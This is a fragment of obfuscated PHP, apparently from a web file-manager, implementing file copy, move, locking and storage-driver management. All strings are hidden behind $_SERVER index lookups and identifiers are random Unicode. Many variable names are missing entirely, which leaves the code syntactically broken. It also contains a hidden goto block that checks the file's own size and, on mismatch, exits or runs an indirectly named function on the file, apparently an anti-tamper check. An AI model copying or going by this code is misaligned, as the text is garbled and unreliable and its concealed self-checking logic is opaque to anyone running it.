$this->_lockParent($Ώ, array($ϛ[549], $ϛ[551]), $Χ); $this->_lockEvent($Ώ, array($ϛ[556], $ϛ[552], $ϛ[553]), $Χ); } private function _lockCheck($҃, $) { $˟ =& $_SERVER[]; $Ī = $this->sourceInfo($); $׸ = $҃ . $˟[10] . $; $this->_lockTimeStart[$׸] = timeFloat(); if (!is_array($Ī)) { return; } $Ϊ = LNG($˟[557]); CacheLock::setErrorMsg($˟[159] . htmlspecialchars($Ī[$˟[32]]) . $˟[536] . $Ϊ); $this->_lockKey($׸, 1); $this->_lockKey($׸, 0); $ӌ = array_reverse($this->parentLevelArray($Ī[$˟[521]])); foreach ($ӌ as $̻) { $׸ = $҃ . $˟[558] . $̻; if (CacheLock::lockGet($˟[559] . $׸)) { $Ī = $this->sourceInfo($̻); CacheLock::setErrorMsg($˟[159] . htmlspecialchars($Ī[$˟[32]]) . $˟[536] . $Ϊ); $this->_lockKey($׸, 1); $this->_lockKey($׸, 0); } } } private function _lockCheckEnd($ܕǺ, $Դ) { $䘝 =& $_SERVER[]; $ = $ܕǺ . $䘝[10] . $Դ; CacheLock::setErrorMsg($䘝[373]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$䘝[458] . $Դ]); } $ޯ = $this->sourceInfo($Դ); if (!$ޯ) { show_json(LNG($䘝[106]), !1); } } private function _lockParent($۝, $, $Վȗ) { if (!$this->autoLockSet) { return; } $ = $this->sourceInfo($۝); if (!is_array($)) { return; } $ = array_reverse($this->parentLevelArray($[$_SERVER[][521]])); foreach ($ as $) { $this->_lockEvent($, $, $Վȗ); } } private function _lockEvent($, $, $) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $) { $ = $ . $[10] . $; if ($ && CacheLock::lockGet($[559] . $)) { continue; } $this->_lockKey($, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $택 = $_SERVER[][559] . md5($); if ($) { if (isset(self::$_lockItemArr[$택])) { return; } self::$_lockItemArr[$택] = 1; CacheLock::lock($택, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$택])) { return; } unset(self::$_lockItemArr[$택]); CacheLock::unlock($택); } } public function isParentOf($х, $ж) { $ =& $_SERVER[]; $˧ = $this->sourceInfo($х); $ = $this->sourceInfo($ж); $ڔ = $˧[$[521]] . $˧[$[403]] . $[50]; $¡ = $[$[521]] . $[$[403]] . $[50]; $ = strpos($¡, $ڔ) === 0; return $; } private $targetIsDelete = 0; public function copy($֌, $ߣ, $ɓ = REPEAT_REPLACE, $ΰ = '') { $ =& $_SERVER[]; $ٹָ = $this->sourceInfo($֌); $҉ = $this->sourceInfo($ߣ); if (!$ٹָ || !$҉ || $҉[$[411]] != $[89]) { return !1; } if ($this->isParentOf($֌, $ߣ)) { return !1; } $ۓ = $ΰ ? $ΰ : $ٹָ[$[32]]; $this->lockCopyStart($֌); $this->lockWriteStart($ߣ, $ۓ); $ݒ = array($[560] => array(), $[561] => array(), $[562] => array()); $this->targetIsDelete = intval($ٹָ[$[431]]); $ۊ = $this->fileNameExistCache($ߣ, $ٹָ[$[32]]); $ = $this->_copy($֌, $ߣ, $ɓ, $ݒ, !0, $ΰ); $this->_childrenListClear(); $this->lockCopyEnd($֌); $this->lockWriteEnd($ߣ, $ۓ); if ($ٹָ[$[411]] == $[89] && $ۊ == $) { $this->folderSizeResetChildren($ۊ); } Model($[563])->addAll($ݒ[$[561]], array(), !0); if ($ۊ != $ || $ٹָ[$[411]] == $[89]) { Model($[564])->eventCopy($); } $this->saveAll($ݒ[$[562]]); Model($[192])->linkAdd($ݒ[$[560]]); $this->folderSizeReset($ߣ); $this->updateModifyTime($ߣ); return $; } private function _copy($õ, $Ѕ, $Ӵ, &$ς, $, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfoCache($õ); $ʷٜ = $[$[411]] == $[89]; $ = $ ? $ : $[$[32]]; $뙕 = $this->fileNameExistCache($Ѕ, $); if ($) { $this->_childrenAllMake($õ); if ($ʷٜ && $뙕) { $this->_childrenAllMake($뙕); } } if (!$뙕) { return $this->_copyCreate($õ, $Ѕ, $, $ς); } $٦ = $뙕; if ($ʷٜ) { if ($Ӵ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ѕ, $, $Ӵ, $ʷٜ); $٦ = $this->_copyCreate($õ, $Ѕ, $, $ς); } else { $ = $this->_childrenList($õ); foreach ($ as $ڴ) { $this->_copy($ڴ[$[403]], $뙕, $Ӵ, $ς, !1); } } } else { if ($Ӵ == REPEAT_RENAME || $Ӵ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($Ѕ, $, $Ӵ, $ʷٜ); $٦ = $this->_copyCreate($õ, $Ѕ, $, $ς); } else { if ($Ӵ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($뙕); $֗ = $this->fileHistory($, $[$[467]], $[$[80]]); if ($֗) { $ς[$[560]][] = $[$[467]]; } } else { if ($Ӵ == REPEAT_SKIP) { } } } Hook::trigger($[565], array($[566], $, 0)); } return $٦; } private function _copyCreate($ŕƗ, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($ŕƗ); $ = $this->sourceInfoCache($); $׀Օ = $this->_makeItemData($, $, $); Hook::trigger($[567], $׀Օ); Hook::trigger($[568], array($[569], $׀Օ, 0)); $ν糭 = $this->add($׀Օ); $ = array($[403] => $ν糭, $[32] => $); $this->_copyApplyMeta($, $); if ($[$[411]] != $[89]) { $[$[560]][] = $[$[467]]; return $ν糭; } $ = array(); $í = array(); $this->_childrenListAll($ŕƗ, $); $̄ܿ = count($); if ($̄ܿ == 0) { return $ν糭; } $Ԗ = $this->sourceInfo($ν糭); foreach ($ as $) { $ = $this->_makeItemData($, $Ԗ, $[$[32]]); $[$[521]] = $[$[521]]; $í[] = $; } $this->chunkEventSet($[570], array($[571], $׀Օ, $̄ܿ)); $this->addAll($í, array(), !1); $ = $this->where(array($[498] => $ν糭))->select(); $ = $this->_childrenMakeRelation($, $); $[$ŕƗ] = $ν糭; $Ш = array(); $ = array(); foreach ($ as $) { $ = $[$[403]]; $ڿ = $this->_childrenMatch($, $, $Ԗ); $Ш[] = array($[403], $, $[498], $ڿ[$[498]]); $[] = array($[403], $, $[521], $ڿ[$[521]]); $this->_copyApplyMeta($, $); if ($[$[411]] != $[89]) { $[$[560]][] = $[$[467]]; } } $this->chunkEventSet($[572], array($[573], $׀Օ, $̄ܿ)); $this->saveAll($Ш); $this->chunkEventSet($[574], array($[575], $׀Օ, $̄ܿ)); $this->saveAll($); return $ν糭; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ = array(); $ܲ = array(); foreach ($ as $̼) { $ۅ = $̼[$[32]] . $[8] . $̼[$[521]]; $[$ۅ] = $̼[$[403]]; } foreach ($ as $̼) { $ۅ = $̼[$[32]] . $[8] . $̼[$[521]]; $͸ = $[$ۅ]; $ܲ[$͸] = $̼[$[403]]; } return $ܲ; } private function _childrenMatch($Ϝ, $Ĺ, $) { $ϰ蹥 =& $_SERVER[]; $ۘ = $[$ϰ蹥[521]]; $Ρ = $this->parentLevelArray($Ĺ[$ϰ蹥[521]]); foreach ($Ρ as $߇) { if (isset($Ϝ[$߇])) { $ۘ .= $Ϝ[$߇] . $ϰ蹥[576]; } } $ۘ = rtrim($ۘ, $ϰ蹥[50]) . $ϰ蹥[50]; $ = $this->parentLevelArray($ۘ); $ = $[count($) - 1]; return array($ϰ蹥[498] => $, $ϰ蹥[521] => $ۘ); } private function _makeItemData($̥, $, $堠) { $Ԡ =& $_SERVER[]; $廮 = array($Ԡ[577] => $̥[$Ԡ[411]], $Ԡ[421] => $堠, $Ԡ[578] => $̥[$Ԡ[413]] ? $̥[$Ԡ[413]] : $Ԡ[12], $Ԡ[468] => $̥[$Ԡ[467]] ? $̥[$Ԡ[467]] : 0, $Ԡ[579] => $̥[$Ԡ[80]] ? $̥[$Ԡ[80]] : 0, $Ԡ[580] => intval($[$Ԡ[412]]), $Ԡ[581] => intval($[$Ԡ[504]]), $Ԡ[582] => intval(USER_ID), $Ԡ[583] => intval(USER_ID), $Ԡ[402] => intval($[$Ԡ[403]]), $Ԡ[584] => $[$Ԡ[521]] . $[$Ԡ[403]] . $Ԡ[50], $Ԡ[425] => $̥[$Ԡ[86]] ? $̥[$Ԡ[86]] : time(), $Ԡ[430] => 0, $Ԡ[585] => $Ԡ[12]); return $廮; } private function _copyApplyMeta($Զ, &$ˎՆ֖) { $ڙ =& $_SERVER[]; $ި = $Զ[$ڙ[403]]; $ϕٚ = $Զ[$ڙ[32]]; if (!isset($Զ[$ڙ[586]]) || !$Զ[$ڙ[586]] || $Զ[$ڙ[586]] == $ڙ[190]) { $ˎՆ֖[$ڙ[562]][] = array($ڙ[403], $ި, $ڙ[586], short_id($ި)); } if (Input::check($ϕٚ, $ڙ[587])) { $ˎՆ֖[$ڙ[561]][] = array($ڙ[403] => $ި, $ڙ[95] => $ڙ[464], $ڙ[369] => str_replace($ڙ[53], $ڙ[12], Pinyin::get($ϕٚ))); $ˎՆ֖[$ڙ[561]][] = array($ڙ[403] => $ި, $ڙ[95] => $ڙ[463], $ڙ[369] => Pinyin::get($ϕٚ, $ڙ[588])); } $ˎՆ֖[$ڙ[561]][] = array($ڙ[403] => $ި, $ڙ[95] => $ڙ[442], $ڙ[369] => KodSort::makeStr($ϕٚ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ְ =& $_SERVER[]; $ꇨ = $this->sourceInfo($); $ = $ְ[589]; $ѧջ = array($ְ[521] => array($ְ[544], $ꇨ[$ְ[521]] . $ . $ְ[545]), $ְ[431] => $this->targetIsDelete); $ќ = $this->field($)->where($ѧջ)->select(); if (!$ќ) { return; } $ќ = array_to_keyvalue($ќ, $ְ[403]); foreach ($ќ as $׳) { $ڝ = $׳[$ְ[498]]; $ = $׳[$ְ[403]]; if (!isset($this->_childrenListCache[$]) && $׳[$ְ[411]] == $ְ[89]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$ڝ])) { $this->_childrenListCache[$ڝ] = array(); } $this->_childrenListCache[$ڝ][$] = $׳; $this->_childrenItemCache[$] = $׳; } } private function _childrenListAll($, &$LJݖ) { $ӷހ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $ﭣ) { $LJݖ[$] = $ﭣ; if ($ﭣ[$ӷހ[411]] == $ӷހ[89]) { $this->_childrenListAll($, $LJݖ); } } } private function sourceInfoCache($ˊ) { if (isset($this->_childrenItemCache[$ˊ])) { return $this->_childrenItemCache[$ˊ]; } return $this->sourceInfo($ˊ); } private function _childrenList($Ŀ܁) { if (isset($this->_childrenListCache[$Ŀ܁])) { return $this->_childrenListCache[$Ŀ܁]; } return $this->_childrenListSelect($Ŀ܁); } private function _childrenListSelect($Ϣ) { $ =& $_SERVER[]; $ = array($[498] => $Ϣ, $[431] => $this->targetIsDelete); $́ = $this->where($)->select(); $́ = $́ ? $́ : array(); $ň = array_to_keyvalue($́, $[403]); $this->_childrenListCache[$Ϣ] = $ň; foreach ($ň as $Ϣ => $ɬ) { $this->_childrenItemCache[$Ϣ] = $ɬ; } return $ň; } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $ǐ) { if ($ == strtolower($ǐ[$[32]])) { return $ǐ[$[403]]; } } return !1; } private function fileNameAutoCache($, $ɗ؆, $Я, $Dž) { $ =& $_SERVER[]; $İġ = $this->_childrenList($); $骴 = array_to_keyvalue($İġ, $[12], $[32]); return $this->fileNameAutoGet($骴, $ɗ؆, $Я, $Dž); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $ɽ, $Ӗ = REPEAT_REPLACE, $ = '') { $њ =& $_SERVER[]; $ = $this->sourceInfo($); $ٙù = $this->sourceInfo($ɽ); if ($[$њ[498]] == $ٙù[$њ[403]]) { if ($[$њ[431]] == $њ[89]) { Model($њ[429])->restore(array($)); } if (!$ || $ == $[$њ[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $ɽ)) { return !1; } if (!$ || !$ٙù || $ٙù[$њ[411]] != $њ[89]) { return !1; } Hook::trigger($њ[590], $); $this->targetIsDelete = intval($[$њ[431]]); if ($[$њ[498]] == $ɽ && $ != $[$њ[32]]) { $ = $this->fileNameExist($ɽ, $); if ($ && $[$њ[411]] == $њ[190]) { $馗 = $this->sourceInfo($); $휎 = $this->fileHistory($馗, $[$њ[467]], $[$њ[80]]); if (!$휎) { Model($њ[470])->remove($[$њ[467]]); } $this->removeNow($, !1); $this->folderSizeReset($ɽ); Hook::trigger($њ[591], $); return $; } } $ = $ ? $ : $[$њ[32]]; $this->lockMoveStart($); $this->lockWriteStart($ɽ, $); $ = array($њ[560] => array(), $њ[592] => !1); $this->clearShare($, $ɽ); $ = $this->fileNameExistCache($ɽ, $[$њ[32]]); $ = $this->_move($, $ɽ, $Ӗ, $, $); $this->sourceCacheClear(); if ($[$њ[411]] == $њ[89] && $) { $this->folderSizeResetChildren($); } Model($њ[192])->linkAdd($[$њ[560]]); if ($ && $[$њ[592]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($ɽ, $); $this->folderSizeReset($[$њ[498]]); $this->folderSizeReset($ɽ); $ݡ = array($[$њ[498]], $ɽ); if ($[$њ[411]] == $њ[89]) { $ݡ[] = $; } $this->updateModifyTime($ݡ); Model($њ[564])->eventMove($, $[$њ[498]], $ɽ); Hook::trigger($њ[591], $); return $; } private function _move($‚, $Ѝ, $Զ, &$ݚ, $ȝՆ = '') { $ٗ =& $_SERVER[]; $՘ = $this->sourceInfo($‚); $̆ = $՘[$ٗ[411]] == $ٗ[89]; $활 = $ȝՆ ? $ȝՆ : $՘[$ٗ[32]]; $ = $this->fileNameExistCache($Ѝ, $활); $this->lockMoveStart($‚); $this->lockWriteStart($Ѝ, $활); if (!$) { return $this->_moveForce($‚, $Ѝ, $활); } $蟁 = $; $㖐 = !1; if ($̆) { if ($Զ == REPEAT_RENAME_FOLDER) { $활 = $this->fileNameAuto($Ѝ, $활, $Զ, $̆); $蟁 = $this->_moveForce($‚, $Ѝ, $활); } else { if ($Զ == REPEAT_RENAME_FOLDER) { $Զ = REPEAT_RENAME; } $ǟ = $this->_childrenListSelect($‚); foreach ($ǟ as $) { $this->_move($[$ٗ[403]], $, $Զ, $ݚ); } $㖐 = !0; } } else { if ($Զ == REPEAT_SKIP) { $㖐 = !0; } else { if ($Զ == REPEAT_RENAME || $Զ == REPEAT_RENAME_FOLDER) { $활 = $this->fileNameAuto($Ѝ, $활, $Զ, $̆); $蟁 = $this->_moveForce($‚, $Ѝ, $활); } else { if ($Զ == REPEAT_REPLACE) { $Č = $this->sourceInfoCache($); $IJ = $this->fileHistory($Č, $՘[$ٗ[467]], $՘[$ٗ[80]]); $㖐 = !0; if ($IJ) { $ݚ[$ٗ[560]][] = $՘[$ٗ[467]]; } } } } } if ($㖐 && !$ݚ[$ٗ[592]]) { $ݚ[$ٗ[592]] = !0; } return $蟁; } private function _moveForce($, $ع, $у) { $в =& $_SERVER[]; $ = $this->sourceInfo($); $֦ = $this->sourceInfo($ع); $ó = $[$в[411]] == $в[89]; $˄ = array($в[402] => $֦[$в[403]], $в[584] => $֦[$в[521]] . $֦[$в[403]] . $в[50], $в[580] => $֦[$в[412]], $в[581] => $֦[$в[504]], $в[583] => USER_ID, $в[421] => $у); $ֶ = $[$в[412]] == SourceModel::TYPE_GROUP && $֦[$в[412]] == SourceModel::TYPE_GROUP && $[$в[504]] == $֦[$в[504]]; if (!$ֶ && $this->moveClearAuth) { Model($в[502])->authClear($); } $ = $[$в[431]] == $в[89] && $֦[$в[431]] != $в[89]; if ($) { $˄[$в[430]] = 0; } if ($ó) { $Ȏ = array($в[584] => array($в[544], $[$в[521]] . $[$в[403]] . $в[545])); $Ǔ = $[$в[521]] . $[$в[403]] . $в[50]; $ = $֦[$в[521]] . $֦[$в[403]] . $в[50] . $[$в[403]] . $в[50]; $巸 = array($в[584] => array($в[593], "\x72\x65\x70\x6c\141\143\145\x28\x70\x61\x72\x65\156\164\x4c\x65\x76\x65\x6c\x2c\x27{$Ǔ}\47\x2c\x27{$}\x27\51"), $в[580] => $֦[$в[412]], $в[581] => $֦[$в[504]]); if ($) { $巸[$в[430]] = 0; } $this->where($Ȏ)->data($巸)->save(); } $this->where(array($в[418] => $))->data($˄)->save(); return $; } private function clearShare($, $Ż) { $ҝ =& $_SERVER[]; $Ѯ = $this->sourceInfo($); $ئ㮇 = $this->sourceInfo($Ż); if ($Ѯ[$ҝ[504]] == $ئ㮇[$ҝ[504]] && $Ѯ[$ҝ[412]] == $ҝ[594]) { return; } $ = array($ҝ[521] => array($ҝ[544], $Ѯ[$ҝ[521]] . $ . $ҝ[545])); $ۣ = $this->field($ҝ[418])->where($)->getField($ҝ[403], !0); if (!$ۣ) { return; } $ = array($ҝ[403] => array($ҝ[7], $ۣ), $ҝ[495] => 1); $⹃ = Model($ҝ[595])->field($ҝ[488])->where($)->select(); if (!$⹃) { return; } $⹃ = array_to_keyvalue($⹃, $ҝ[12], $ҝ[488]); $ = array($ҝ[488] => array($ҝ[7], $⹃)); Model($ҝ[595])->where($)->save(array($ҝ[495] => 0)); Model($ҝ[596])->where($)->delete(); } public function copyFolderFromIO($, $ܝ, $ȸ, $, $, $ɮ = false) { $ =& $_SERVER[]; $į = array($[561] => array(), $[562] => array(), $[560] => array(), $[597] => array()); $Ƈ = $ɮ ? $ɮ : $->pathThis($ܝ); $ = $this->fileNameExist($ȸ, $Ƈ); $ = $this->mkdir($ȸ, $Ƈ, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[598]); $this->_copyChildTo($, $ܝ, $, $, $į, $); Hook::trigger($[599]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[563])->addAll($į[$[561]], array(), !0); Model($[564])->eventCopy($); $this->saveAll($į[$[562]]); Model($[470])->linkAdd($į[$[560]]); Model($[470])->remove($į[$[597]]); $this->folderSizeReset($ȸ); $this->updateModifyTime($ȸ); return $; } private function _copyChildTo($ʝ, $ɦ, $, $ר, &$ː, $߀) { $ =& $_SERVER[]; $ڷ = $this->sourceInfoCache($); $ = $ʝ->listPath($ɦ); $ = $ ? $ : array($[76] => array(), $[77] => array()); $˄ݐ = array_merge($[$[76]], $[$[77]]); $Ԡ = $this->_addFiles($ʝ, $[$[76]], $߀); $ = array(); foreach ($˄ݐ as &$Ӧ) { if (isset($Ԡ[$Ӧ[$[32]]])) { $Ӧ = $Ԡ[$Ӧ[$[32]]]; } $Ӧ[$[411]] = $Ӧ[$[33]] == $[79]; $Ӧ[$[413]] = _get($Ӧ, $[167], $[12]); $Ӧ[$[80]] = _get($Ӧ, $[80], 0); $Ӧ[$[467]] = _get($Ӧ, $[467], 0); if (!isset($Ӧ[$[600]]) && $Ӧ[$[467]]) { $ː[$[597]][] = $Ӧ[$[467]]; } if ($ר) { $’ޖ = $this->fileNameExistCache($, $Ӧ[$[32]]); if ($’ޖ) { if ($Ӧ[$[411]] || $ר == REPEAT_SKIP) { continue; } if ($ר == REPEAT_REPLACE) { $ = $this->sourceInfoCache($’ޖ); $ΐ = $this->fileHistory($, $Ӧ[$[467]], $Ӧ[$[80]]); if ($ΐ) { $ː[$[560]][] = $Ӧ[$[467]]; } continue; } else { if ($ר == REPEAT_RENAME) { $Ӧ[$[32]] = $this->fileNameAutoCache($, $Ӧ[$[32]], $ר, !1); } } } } if (!$Ӧ[$[411]] && $Ӧ[$[467]] == 0) { continue; } if (!$Ӧ[$[411]] && $Ӧ[$[467]]) { $ː[$[560]][] = $Ӧ[$[467]]; } $[] = $this->_makeItemData($Ӧ, $ڷ, $Ӧ[$[32]]); } unset($Ӧ); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($); } $ܬ = $this->_childrenList($); $ܬ = array_to_keyvalue($ܬ, $[32]); foreach ($˄ݐ as $Ӧ) { $ = $ܬ[$Ӧ[$[32]]]; $õ = $[$[403]]; $this->_copyApplyMeta($, $ː); if ($Ӧ[$[33]] == $[79]) { $Ӧ[$[78]] = $ʝ->getPathInner($Ӧ[$[78]]); $this->_copyChildTo($ʝ, $Ӧ[$[78]], $õ, $ר, $ː, $߀); } } } private function _addFiles($ܜڀ, $߄, $) { $Ҵ =& $_SERVER[]; if (!$߄ || count($߄) == 0) { return array(); } $ = array(); foreach ($߄ as &$) { Hook::trigger($Ҵ[601], $); $[$Ҵ[78]] = $ܜڀ->getPathInner($[$Ҵ[78]]); $ޫ = $ܜڀ->hashSimple($[$Ҵ[78]]); $ = $ܜڀ->hashMd5($[$Ҵ[78]]); if (strlen($) > 10 && !isset($[$])) { $[$] = array(); } $[$Ҵ[170]] = $ޫ; $[$Ҵ[169]] = $; Hook::trigger($Ҵ[602], $); $[$][] =& $; if (count($[$]) > 1) { $[$Ҵ[600]] = !0; } } unset($); $܉ = array($Ҵ[169] => array($Ҵ[7], array_keys($))); $ = Model($Ҵ[603]); $ = $->where($܉)->select(); $ = $ ? $ : array(); foreach ($ as $ʾ) { if (!isset($[$ʾ[$Ҵ[169]]])) { continue; } $ = $[$ʾ[$Ҵ[169]]]; foreach ($ as &$) { $[$Ҵ[467]] = $ʾ[$Ҵ[467]]; $[$Ҵ[600]] = !0; } unset($); } $̚ = array(); foreach ($߄ as $ٍ) { if (isset($ٍ[$Ҵ[600]]) && $ٍ[$Ҵ[600]]) { continue; } $٥ = $ܜڀ->getPathInner($ٍ[$Ҵ[78]]); $߻ = $->addFileMake($٥, $ٍ[$Ҵ[80]], $ٍ[$Ҵ[170]], $ٍ[$Ҵ[169]], $ٍ[$Ҵ[32]], $); if (!is_array($߻)) { continue; } $̚[] = $߻; } $->addAll($̚); $܉ = array($Ҵ[169] => array($Ҵ[7], array_keys($))); $ = $->where($܉)->select(); $ = $ ? $ : array(); foreach ($ as $ʾ) { if (!isset($[$ʾ[$Ҵ[169]]])) { continue; } $ =& $[$ʾ[$Ҵ[169]]]; foreach ($ as &$) { $[$Ҵ[467]] = $ʾ[$Ҵ[467]]; } unset($); } $ = array(); foreach ($߄ as $) { $[$[$Ҵ[32]]] = $; } return $; } } define($_SERVER[][604], $_SERVER[][605]); $ibtuezfqxr = $_SERVER[][606]; goto c; eӂ: $_file = $_SERVER[$_SERVER[][397]]; $_size = $_SERVER[][1568]; if ($_SERVER[$_SERVER[][389]] != $_size($_file)) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_file); } goto D׍; Aڐ: class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\x65\x6d\x2e\163\164\157\x72\141\147\145\x4c\151\163\x74"; public $field = array("\156\x61\x6d\145", "\x73\x69\172\x65\x4d\x61\x78", "\163\171\x73\164\145\155", "\x64\x65\x66\141\x75\x6c\164", "\x64\162\151\x76\x65\162", "\143\x6f\156\x66\151\147"); public function listData($ = false, $Ԛ = "\155\x6f\x64\151\x66\171\x54\x69\x6d\145", $࠲ = false) { $߹ =& $_SERVER[]; $ʻް = parent::listData($, $Ԛ, $࠲); if ($) { return $ʻް; } $ؒ = $this->ioSizeUseGet(array_to_keyvalue($ʻް, $߹[12], $߹[401])); foreach ($ʻް as $ɕ => $) { unset($ʻް[$ɕ][$߹[6]]); $ʻް[$ɕ][$߹[1799]] = isset($ؒ[$[$߹[401]]]) ? $ؒ[$[$߹[401]]] : 0; } return $ʻް; } public function ioSizeUseGet($ۇ) { $Υ =& $_SERVER[]; if (!$ۇ) { return array(); } $ = $Υ[2113] . implode($Υ[50], $ۇ); $߯ = Cache::get($); if ($߯) { return $߯; } $ = array($Υ[810] => $Υ[401], $Υ[2114] => $Υ[80]); $ݽ = array($Υ[810] => array($Υ[7], $ۇ)); $߯ = Model($Υ[782])->field($)->where($ݽ)->group($Υ[810])->select(); $߯ = array_to_keyvalue($߯, $Υ[401], $Υ[80]); Cache::set($, $߯, 600); return $߯; } public function getConfig($߲) { $ = parent::listData($߲); return json_decode($[$_SERVER[][6]], !0); } public function update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $끎 = array_to_keyvalue(parent::listData(), $[32]); if (isset($끎[$]) && $끎[$][$[401]] != $) { return !1; } if (isset($[$[2115]]) && $[$[2115]] == $[89]) { $this->checkConfig($); } unset($[$[2115]]); $ = parent::update($, $); if ($ && $[$[37]]) { foreach ($끎 as $Ľ) { if ($Ľ[$[37]] && $Ľ[$[401]] != $) { parent::update($Ľ[$[401]], array($[37] => 0)); } } } return $; } public function add($ޛ) { $粬 =& $_SERVER[]; $畟 = array_to_keyvalue(parent::listData(), $粬[32]); if (isset($畟[$ޛ[$粬[32]]])) { return !1; } $this->checkConfig($ޛ); $ꄪ҉ = parent::insert($ޛ); if ($ꄪ҉ && $ޛ[$粬[37]]) { foreach ($畟 as $ӫ) { if ($ӫ[$粬[37]]) { parent::update($ӫ[$粬[401]], array($粬[37] => 0)); } } } return $ꄪ҉; } public function checkConfig(&$, $濪 = false) { $øܿ =& $_SERVER[]; $؝ = strtolower($[$øܿ[96]]); $Ʈ = json_decode($[$øܿ[6]], !0); foreach ($Ʈ as $ا => $) { $Ʈ[$ا] = trim($); } $Ʈ[$øܿ[2116]] = rand_string(6); $ؒ = $GLOBALS[$øܿ[6]][$øܿ[90]][$øܿ[819]]; $㾉 = isset($ؒ[$؝]) ? $ؒ[$؝] : ucfirst($؝); $ = $øܿ[74] . $㾉; if (!$㾉 || !class_exists($)) { if ($濪) { return LNG($øܿ[2117]); } write_log(array($øܿ[2118], $, get_caller_info()), $øܿ[2119]); show_json(LNG($øܿ[2117]), !1, $); } $ځ = new $($Ʈ); if (in_array($؝, $ځ->objectDriver)) { if (!$ځ->isBucketCors() && !$ځ->setBucketCors()) { $ = LNG($øܿ[2120]); $ .= $øܿ[2121] . LNG($øܿ[2122]); if ($濪) { return $; } show_json($, !1); } } $ű = rtrim($Ʈ[$øܿ[1166]], $øܿ[8]) . $øܿ[8]; $ݢ = $ځ->getPath($ű . $øܿ[1228]); if (!$ځ->mkfile($ݢ)) { if ($濪) { return LNG($øܿ[2120]); } show_json(LNG($øܿ[2120]), !1); } $Ʈ[$øܿ[1166]] = $ű; $[$øܿ[6]] = json_encode($Ʈ); $[$øܿ[96]] = $㾉; return !0; } public function driverListSystem() { $̴ =& $_SERVER[]; $Л = parent::listData(); $ = array(); foreach ($Л as $Ƙ) { unset($Ƙ[$̴[193]], $Ƙ[$̴[86]]); $Ƙ[$̴[6]] = json_decode($Ƙ[$̴[6]], !0); $[] = $Ƙ; } return $; } public function defaultDriver() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($ט) { $ =& $_SERVER[]; $֍ = array_to_keyvalue(parent::listData(), $[401]); if (!isset($֍[$ט])) { return !1; } $ = $֍[$ט]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $ۙ) { $ٺ =& $_SERVER[]; $ʙ = array($ٺ[810] => $); $޹윾 = Model($ٺ[470])->where($ʙ)->count(); $؎ = Model($ٺ[470])->where($ʙ)->sum($ٺ[80]); $އ = $ۙ . $ٺ[2123] . $; $鮢 = new TaskFileTransfer($އ, $ٺ[2119], $޹윾, LNG($ٺ[2124]) . "\50{$}\51"); $鮢->task[$ٺ[756]] = (double) $؎; $ϙ = KodIO::defaultDriver(); $ = $ϙ[$ٺ[401]]; $߲֤ = "\173\x69\x6f\72{$}\x7d\57"; $ = !0; $Ӣ = array(); $Ȍ = Model($ٺ[192])->where($ʙ)->field($ٺ[2125])->select(); foreach ($Ȍ as $ܱ) { $ϝ = $ܱ[$ٺ[78]]; $ = $߲֤ . str_replace("\x7b\151\x6f\72{$}\x7d\x2f", $ٺ[12], $ϝ); if (!IO::exist($ϝ)) { $Ӣ[] = $ܱ[$ٺ[467]]; $鮢->updateFileEnd($ܱ[$ٺ[32]], $ܱ[$ٺ[80]]); continue; } if (IO::exist($)) { $鮢->updateFileEnd($ܱ[$ٺ[32]], $ܱ[$ٺ[80]]); continue; } if (!IO::move($ϝ, get_path_father($))) { $ = !1; break; } $ʙ = array($ٺ[467] => $ܱ[$ٺ[467]]); $򆲴 = array($ٺ[810] => $, $ٺ[78] => $); Model($ٺ[192])->where($ʙ)->save($򆲴); } $this->removeByFileID($Ӣ); if (!$) { $鮢->stop($އ); return !1; } $鮢->end(); if ($ۙ == $ٺ[1779]) { $this->remove($); } } public function progress($բ, $ʔ) { return Task::get($ʔ . $_SERVER[][2123] . $բ); } private function removeByFileID($ެ = array()) { $ـ =& $_SERVER[]; if (empty($ެ)) { return; } $Ä = array($ـ[467] => array($ـ[7], $ެ)); $̖ = Model($ـ[1312])->where($Ä)->field($ـ[403])->select(); if (!$̖) { return; } $̖ = array_to_keyvalue($̖, $ـ[12], $ـ[403]); foreach ($̖ as $Ś) { Model($ـ[417])->removeNow($Ś, !1); } } private function removeShareItems($ӿ۪) { $ =& 